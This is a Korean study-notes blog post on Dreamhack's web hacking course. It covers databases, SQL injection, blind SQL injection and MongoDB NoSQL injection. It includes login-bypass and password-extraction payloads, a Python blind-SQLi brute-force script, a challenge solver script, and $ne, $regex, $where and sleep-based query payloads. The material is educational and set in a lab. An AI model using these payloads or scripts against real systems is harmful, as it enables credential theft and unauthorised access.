본문 바로가기
Web hacking/개념 정리 & 심화

[Dreamhack] W - STAGE 6 SQL Injection

by m_.9m 2023. 5. 4.

1. Background: Relational DBMS


1-1 DBMS


웹 서비스는 데이터베이스에 컴퓨터의 정보를 기록하고 데이터베이스를 관리하는 어플리케이션인 Database Management System(DBMS)를 사용한다. DBMS는 데이터베이스에 새로운 정보를 기록하거나, 기록한 내용을 수정, 삭제하는 역할을 합니다. 다수의 사람이 동시에 접근할 수 있고 웹 서비스의 검색 기능 같은 복잡한 기능을 수행합니다.

데이터베이스는 크게 관계형과 비 관계형으로 나눌 수 있는데 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장하고 비 관계형은 테이블 형식이 아닌 키-값(Key-Value) 형태로 값을 저장합니다.

종류 대표적인 DBMS

Relational  
(관계형) MySQL, MariaDB, PostgreSQL, SQLite
Non-Relational  
(비관계형) MongoDB, CouchDB, Redis

1-2 Relational DBMS


Relational DBMS는 1970년에 Codds가 12가지 규칙을 정의하려 생성한 데이터베이스 모델이다. 행과 열의 집합으로 구성된 테이블 묶음 형식으로 데이터를 관리하고. 해당 데이터를 조작할 수 있는 관계 연산자를 제공한다. 12가지의 규칙이 있지만 실제로는 최소한의 조건으로 앞의 두 조건을 만족하는 DBMS를 RDBMS라고 부르게 되었다.

관계연산자로 **Structured Query Language (SQL)**라는 쿼리 언어를 사용하고 쿼리를 통해 테이블 형식의 데이터를 조회한다.

1-3 SQL


SQL(Structured Query Laguage)는 RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어로 웹 어플리케이션이 DBMS와 상호작용 할 떄 사용된다. 사용되는 기능에 따른 분류는 다음과 같다.

언어 설명

DDL(Data Definition Language) 데이터를 정의하기 위한 언어입니다. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행합니다.
DML(Data Manipulation Language) 데이터를 조작하기 위한 언어입니다. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행합니다.
DCL(Data Control Language) 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어입니다. 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE가 대표적입니다.

DDL


RDBMS에서 사용하는 기본적인 구조는 데이터베이스 → 테이블 → 테이블 구조로 데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며 DDL를 사용해야 한다.

다음은 데이터베이스를 생성하는 쿼리이다.


CREATE DATABASE Dreamhack;

앞서 생성한 데이터베이스에 Board 테이블을 생성하는 쿼리 문이다.


USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board(	
idx INT AUTO_INCREMENT,	
boardTitle VARCHAR(100) NOT NULL,	
boardContent VARCHAR(2000) NOT NULL,	
PRIMARY KEY(idx));

DML


생성된 테이블에 데이터를 추가하기 위해 DML을 사용한다.

테이블 데이터를 생성


INSERT INTO 
  Board(boardTitle, boardContent, createdDate) 
Values(
  'Hello', 
  'World !',
  Now()
);

Board 테이블의 데이터를 조회.


SELECT   boardTitle, boardContentFROM  BoardWhere  idx=1;

Board 테이블의 컬럼 값을 변경


UPDATE Board SET boardContent='DreamHack!'   Where idx=1;

2. ServerSide: SQL Injection


injection은 주입이라는 뜻을 가지는 영단어로 인젝션 공격은 이용자의 입력 값이 애플리케이션의 처리 과정에서 구조나 문법적 데이터로 해석되어 발생하는 취약점을 뜻한다.

2-1 SQL


SQL Injection은 DBMS에 데이터를 질의하는 언어이다. 웹 서비스는 이용자의 입력을 SQL구문에 포함해 요청하는 경우가 있다. 예시 기능으로는 로그인, 검색 등이 있다.

가장 기본적인 예시로 아래와 같은 코드에서 upw를 알아내는 공격문은 다음과 같다. 해당 페이로드는 uid의 파라미터 값으로 사용된다.


Select uid from user_table where uid='' and upw=''
//Payload in uid
admin' Union Select upw from user_table where uid='admin' —

2-2 Blind SQL Injection


Blind SQL Injection은 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 Blind SQL Injection이라고 한다.

기본적인 Blind SQL I에는 ascii나 substr와 같은 함수가 사용되는데 ascii 함수는 전달된 문자를 아스키 형태로 반환해 대소 비교를 가능하게 한다. substr는 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수이다.


substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'

Blind SQL Injection의 예시 페이로드는 다음과 같다.


# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

Blind SQL i는 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 수행 시간이 많이 걸린다. 이러한 문제를 해결하기 위해 공격 스크립트를 작성하는데, 가장 기본적인 스크립트 작성은 Python의 requests 모듈로 수행한다.

requests.get 예제


import requests
url = '<https://dreamhack.io/>'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests.post 예제


import requests
url = '<https://dreamhack.io/>'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

기본 공격 스크립트 예제

#!/usr/bin/python3
import requests
import string
url = '<http://example.com/login>' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\\n") //ord: 문자하나를 인자로
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

 

2-3 연습 문제 풀이 스크립트


드림핵 제공


#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"<http://host1.dreamhack.games>:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\\" or {query}-- ", "hi")
        return resp
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\\"{user}\\") < {{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ''
        for idx in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\\"{user}\\") < CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
            print(f"{idx}. {pw}")
        return pw
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

3. Background: Non-Relational DBMS


RDBMS는 스키마를 정의하고 데이터를 해당 규격에 맞게 2차원 테이블로 저장한다. 이는 데이터가 많아질 시 용량에 한계가 있는데 이를 해결하기 위한 데이터베이스가 비관계형 데이터베이즈 NRDBMS, NoSQL이다.

3-1 Non-Relational DBMS


비관계형 데이터베이스는 SQL을 사용하지 않고 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화되어 있고 키-값을 사용해 데이터를 저장하는 것이 RDBMS와의 차이점이다. 다만 RDBMS는 SQL이라는 정해진 문법을 사용하는데 비해 NoSQL(Not Only SQL)은 Redis, Dynamo, CouchDB, MongDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용법을 익혀야 한다는 단점이 있다.

3-2 MongoDB


MongoDB


MongoDB는 JSON 형태인 도큐먼트를 저장하며 다음과 같은 특징을 가진다.

  1. 스키마를 따로 정의하지 않아 각 콜렉션에 대한 정의가 필요하지 않다.
  2. JSON 형식으로 쿼리를 작성할 수 있다.
  3. _id 필드가 Primary Key 역할을 한다.

DBMS Query

RDBMS SELECT * FROM inventory WHERE status = "A" and qty < 30;
MongoDB db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )

<aside> 💡 콜렉션 콜렉션은 데이터베이스의 하위에 속하는 개념으로, RDBMS의 테이블과 비슷하다.

</aside>

MongoDB 연산자


Comparison

Name Description

$eq 지정된 값과 같은 값을 찾습니다. (equal)
$in 배열 안의 값들과 일치하는 값을 찾습니다. (in)
$ne 지정된 값과 같지 않은 값을 찾습니다. (not equal)
$nin 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in)

Logical

Name Description

$and 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다.
$not 쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다.
$nor 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다.
$or 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다.

Element

Name Description

$exists 지정된 필드가 있는 문서를 찾습니다.
$type 지정된 필드가 지정된 유형인 문서를 선택합니다.

Evaluation

Name Description

$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.

MongoDB와 SQL문 비교


SELECT

SQL MongoDB

SELECT * FROM account; db.account.find()
SELECT * FROM account WHERE user_id="admin"; db.account.find({user_id: "admin"})
SELECT user_idx FROM account WHERE user_id="admin"; db.account.find({ user_id: "admin" },{ user_idx:1, _id:0 })

INSERT

SQL MongoDB

INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest"); db.account.insert({user_id: "guest",user_pw: "guest"})

DELETE

SQL MongoDB

DELETE FROM account; db.account.remove()
DELETE FROM account WHERE user_id="guest"; db.account.remove( {user_id: "guest"} )

UPDATE

SQL MongoDB

UPDATE account SET user_id="guest2" WHERE user_idx=2; db.account.update({user_idx: 2},{ $set: { user_id: "guest2" } })

 

3-3 Redis


Redis는 키-값(Key-Value)의 쌍을 가진 데이터를 저장한다. 제일 큰 특징으로 메모리를 사용해 데이터를 저장하고 접근하기 때문에 읽고쓰는 작업이 빠르다. 따라서 다양한 서비스에서 임시 데이터를 캐싱하는 용도로 사용한다.

Figure 2. redis 명령어 사용 예시


$ redis-cli127.0.0.1:6379> SET test 1234 # SET key valueOK127.0.0.1:6379> GET test # GET key"1234"

📒  Redis 명령어 공식 문서



 

데이터 조회 및 조작 명령어

GET GET key 데이터 조회
MGET MGET key [key ...] 여러 데이터를 조회
SET SET key value 새로운 데이터 추가
MSET MSET key value [key value ...] 여러 데이터를 추가
DEL DEL key [key ...] 데이터 삭제
EXISTS EXISTS key [key ...] 데이터 유무 확인
INCR INCR key 데이터 값에 1 더함
DECR DECR key 데이터 값에 1 뺌

관리 명령어

INFO INFO [section] DBMS 정보 조회
CONFIG GET CONFIG GET parameter 설정 조회
CONFIG SET CONFIG SET parameter value 새로운 설정을 입력

3-4 CouchDB


CouchDB 또한 JSON 형태인 도큐먼트를 저장한다. 이는 웹 기반의 DBMS로 REST API 형식으로 요청을 처리한다. 다음은 각 메소드에 따른 기능 설명이다.

POST 새로운 레코드를 추가합니다.
GET 레코드를 조회합니다.
PUT 레코드를 업데이트합니다.
DELETE 레코드를 삭제합니다.

서버 또는 데이터베이스를 위한 다양한 기능을 제공한다. 그 중 _문자로 시작하는 URL, 필드는 특수 구성 요소를 낸다. 다음은 특수 구성 요소에 대한 설명이다.

 

SERVER

/ 인스턴스에 대한 메타 정보를 반환합니다.
/_all_dbs 인스턴스의 데이터베이스 목록을 반환합니다.
/_utils 관리자페이지로 이동합니다.

 

Database

/db 지정된 데이터베이스에 대한 정보를 반환합니다.
/{db}/_all_docs 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환합니다.
/{db}/_find 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다.

📒  CouchDB API 공식 문서



 

3. ServerSide: NoSQL Injection


3-1 NoSQL Injection


SQL Injection과 유사하다. SQL은 저장하는 데이터의 자료형으로 문자열, 정수, 날짜, 실수 등을 사용할 수있다. MongDB는 이 외에도 오브젝트, 배열 타입을 사용할 수 있다. 오브젝트 타입의 입력 값을 처리할 떄는 쿼리 연산자를 사용해 다앙한 행위가 가능하다.

Figure1은 NodeJS의 Express 프레임워크로 개발된 예제인데 이용자의 입력 값과 타입을 출력하는 코드에 req.query의 타입이 문자열로 지정되지 않아 문자열 외의 타림이 입력될 수 있다.

Figure2는 각각의 타입을 입력한 모습으로 결과를 살펴보면 일반적인 문자열 외 오브젝트 타입을 삽입한다.


const express = require('express');
const app = express();
app.get('/', function(req,res) {    
	console.log('data:', req.query.data);   
	console.log('type:', typeof req.query.data);    
	res.send('hello world');
});
const server = app.listen(3000, 
function(){    
	console.log('app.listen');
});

 

<http://localhost:3000/?data=1234>
data: 1234
type: string

<http://localhost:3000/?data[]=1234>
data: [ '1234' ]
type: object

<http://localhost:3000/?data[]=1234&data[]=5678>
data: [ '1234', '5678' ] 
type: object

<http://localhost:3000/?data[5678]=1234>
data: { '5678': '1234' } 
type: object

<http://localhost:3000/?data[5678]=1234&data=0000>
data: { '5678': '1234', '0000': true } 
type: object

<http://localhost:3000/?data[5678]=1234&data[]=0000>
data: { '0': '0000', '5678': '1234' } 
type: object

<http://localhost:3000/?data[5678]=1234&data[1111]=0000>
data: { '1111': '0000', '5678': '1234' } 
type: object

📒 MongoDB 타입 공식 문서



MongoDB는 문자열이 아닌 타입의 값을 입력할 수 있고 이를 통해 연산자를 사용할 수 있다.

 

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw 
   }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

역시 이용자의 값을 검증하지 않아 계정 정보 조회가 가능하다. $ne는 not equal의 약자로 입력한 데이터와 일치않는 데이터를 반환한다. Figure4는 $ne 연산자를 사용해 uid와 upw가 'a'가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과이다.

 

<http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a>
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

[공격 실습]

3-2 Blind NoSQL Injection


MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다. 이외의 연산자는 공식 문서에서 확인 가능하다.

$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

📒 MongoDB 연산자 공식 문서



$regex

정규식을 사용해 식과 일치하는 데이터를 조회한다. 다음은 upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리이다.

 

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

$Where

  • 표현식: 인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회한다. $where은 field에서 사용할 수 없다.
    > db.user.find({**$where**:"return 1==1"})
    { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
    > db.user.find({uid:{$where:"return 1==1"}})
    error: {	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",	"code" : 17287}
    

  • substring: 해당 연산자로 Javascript 표현식을 입력하면 Bind SQL I와 같이 비교해 데이터 추출이 가능하다.
    > db.user.find({$where: "this.upw.substring(0,1)=='a'"})
    > db.user.find({$where: "this.upw.substring(0,1)=='b'"})
    > db.user.find({$where: "this.upw.substring(0,1)=='c'"})
    ...
    > db.user.find({$where: "**this.upw.substring(0,1)=='g'**"})
    { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
    

Sleep 함수를 통한 Time based Injection MongoDB는 sleep 함수를 제공해 참/거짓을 할 수 있다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.*/

Error based Injection: 고의로 문법 에러를 일으켜 데이터를 추출할 수 있다.

> db.user.find({$where: "this.uid=='guest'&&**this.upw.substring(0,1)=='g'**&&asdf&&'1'&&this.upw=='${upw}'"});
error: {	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",	"code" : 16722}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

[공격 실습]Figure 12. 비밀번호 길이 획득


{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined

Figure 13. 비밀번호 획득


{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin...
{"uid": "admin", "upw": {"$regex":"^apple$"}}


3-3 실습 문제 풀이